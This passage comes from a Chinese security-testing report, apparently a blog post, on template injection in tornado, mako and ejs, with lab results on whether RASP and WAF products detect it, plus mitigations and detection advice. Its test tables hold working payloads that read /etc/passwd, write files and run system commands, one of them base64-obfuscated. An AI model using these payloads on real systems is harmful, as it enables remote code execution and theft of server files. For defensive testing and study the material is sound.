T1190.014.006.014命令执行{%import os%}{{os.popen("whoami").read()}}
T1190.014.006.015命令执行{%import os%}{{eval("b3MucG9wZW4oIndob2FtaSIpLnJlYWQoKQ==".decode("base64"))}}

4.6.3攻击实例及TTD

4.6.3.1测试过程

访问靶机环境,http://124.70.85.41:8867/?name=test,输入测试用例内检测语句,观察响应页面。

可以看到2*3被成功解析,尝试输入命令执行语句,执行系统命令。

成功执行系统命令,确认存在漏洞。

4.6.3.2TTD

单位:秒,无法检测:∞

用例IDRASPWAF备注
T1190.014.006.001RASP环境不支持,未测试,下同。
T1190.014.006.002
T1190.014.006.0031
T1190.014.006.0041
T1190.014.006.0051
T1190.014.006.0061
T1190.014.006.0071
T1190.014.006.0081
T1190.014.006.0091
T1190.014.006.0101
T1190.014.006.0111
T1190.014.006.0121
T1190.014.006.0131
T1190.014.006.0141
T1190.014.006.0151

4.6.4缓解措施

  1. 开发者使用最新版本的tornado。
  2. 开发者禁止将不可信输入直接拼接到模板中进行解析。
  3. WEB应用使用低权限账户运行。

4.6.5检测方法

  1. 对应用代码进行白盒审计,检测是否直接将用户输入拼接到模板中并进行解析。
  2. WEB应用安装WAF,并完善检测规则,对请求的内容进行检测。
  3. 主机安装HIPS,检测WEB应用进程是否创建异常进程或者读取敏感文件。

4.7mako模板注入 T1190.014.007

4.7.1漏洞成因

WEB没有针对用户输入内容进行过滤,错误的引用用户值,由于mako对模板语法并没有严格的过滤,所以可以很简单的执行一些高危操作,mako下SSTI漏洞可造成的危害。

a) 文件读取

在mako环境下,可以直接使用open方法来读取文件。

b) 命令执行

mako模板本身支持代码块功能,并且是可以编写原生python代码,在官方手册给出的实例内可以看到使用import,这就代表可以直接引入第三方库。所以可以直接导入os库,然后达到命令执行的目的。

4.7.2测试用例

测试ID类型测试用例备注
T1190.014.007.001漏洞检测${123*321}判断是否输出39483
T1190.014.007.002文件读取${open("/etc/passwd").read()}
T1190.014.007.003命令执行<%! import os%>${os.popen("whoami").read()}
T1190.014.007.004<%import osx=os.popen('id').read()%>${x}

4.7.3攻击实例及TTD

4.7.3.1测试过程

访问靶场环境,http://124.70.85.41:8866/

然后使用测试用例内的检测语句进行尝试,可以看到表达式成功被解析。

之后使用命令执行语句进行尝试。

系统命令成功执行。

4.7.3.2TTD

单位:秒,无法检测:∞

用例IDRASPWAF备注
T1190.014.007.001RASP环境不支持,未测试,下同。
T1190.014.007.0021
T1190.014.007.0031
T1190.014.007.0041

4.7.4缓解措施

  1. 开发者使用最新版本的mako。
  2. 开发者禁止将不可信输入直接拼接到模板中进行解析。
  3. WEB应用使用低权限账户运行。

4.7.5检测方法

  1. 对应用代码进行白盒审计,检测是否直接将用户输入拼接到模板中并进行解析。
  2. WEB应用安装WAF,并完善检测规则,对请求的内容进行检测。
  3. 主机安装HIPS,检测WEB应用进程是否创建异常进程或者读取敏感文件。

4.8ejs模板注入 T1190.014.008

4.8.1漏洞成因

WEB没有针对用户输入内容进行过滤,错误的引用用户值,导致用户可以控制模板在渲染前的模板内容,在node环境下,ejs的SSTI漏洞可造成的危害如下。

a) 文件读取

通过引入fs,可以对文件进行读取操作。读取passwd文件。

b) 文件写入

通过引入fs,可以对文件进行写入操作。写入1.html文件。

登录服务器查看文件。

c) 命令执行

通过child_process,执行系统命令。

4.8.2测试用例

测试ID类型测试用例备注
T1190.014.008.001漏洞检测<%=123*321%>判断是否输出39483
T1190.014.008.002文件读取<%=global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString();%>
T1190.014.008.003文件写入<%=global.process.mainModule.require('fs').appendFileSync('./1.html','test','binary')%>
T1190.014.008.004命令执行<%=global.process.mainModule.require('child_process').execSync('whoami').toString();%>

4.8.3攻击实例及TTD

4.8.3.1测试过程

访问靶场地址:http://124.70.85.41:8086/

然后使用测试用例内的检测语句进行尝试,表达式被成功解析。

然后尝试执行系统命令的语句。

系统命令,成功执行。

4.8.3.2TTD

单位:秒,无法检测:∞

用例IDRASPWAF备注
T1190.014.008.001RASP环境不支持,未测试,下同。
T1190.014.008.0021WAF检测到的是本地文件包含攻击。
T1190.014.008.003
T1190.014.008.004

4.8.4缓解措施

  1. 开发者使用最新版本的ejs。
  2. 开发者禁止将不可信输入直接拼接到模板中进行解析。
  3. WEB应用使用低权限账户运行。

4.8.5检测方法

  1. 对应用代码进行白盒审计,检测是否直接将用户输入拼接到模板中并进行解析。
  2. WEB应用安装WAF,并完善检测规则,对请求的内容进行检测。
  3. 主机安装HIPS,检测WEB应用进程是否创建异常进程或者读取敏感文件。

5总结

整体总结,包括但不限于对整个文档中涉及的攻击方法,缓解/检测措施。约束,限制等的归纳性结论。具体根据需要来描述。

模板注入产生的最主要原因是因为开发者错误的使用模板语言,将不可信来源的输入直接传入到模板引擎中进行解析,进而导致模板注入的发生,因此一方面需要规范开发者使用模板时的规范,提供标准使用模板的方式,另一方面通过白盒审计的方式,通过对代码进行语法分析,判断模板内容是否可控,通过这两种方式即可极大的减少模板注入漏洞的产生。

对于检测来说,模板注入漏洞通常Payload有较为明显的特征,因此可以通过这些特征去完善WAF检测规则,模板注入的危害通常是导致代码执行,具体的危害根据攻击者执行代码的内容来确定,对于比较敏感的行为如命令执行或者文件读取等,可以通过HIPS或者RASP进行检测,但是对于一些不是特别敏感的行为,如仅获取敏感信息,对于这类行为不是很好检测,因此RASP在防御中,还是需要去对模板注入触发的函数进行打点,并进行分析。

6 参考链接

白名单,被谁绕过了?-安全客 - 安全资讯平台

FreeMarker 中文官方参考手册

Thymeleaf 模板注入命令执行 - 知乎

In-depth Freemarker Template Injection - Ackcent

flask之ssti模版注入从零到入门 - 先知社区

白头搔更短,SSTI惹人心! - 先知社区

Server Side Template Injection with Jinja2

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值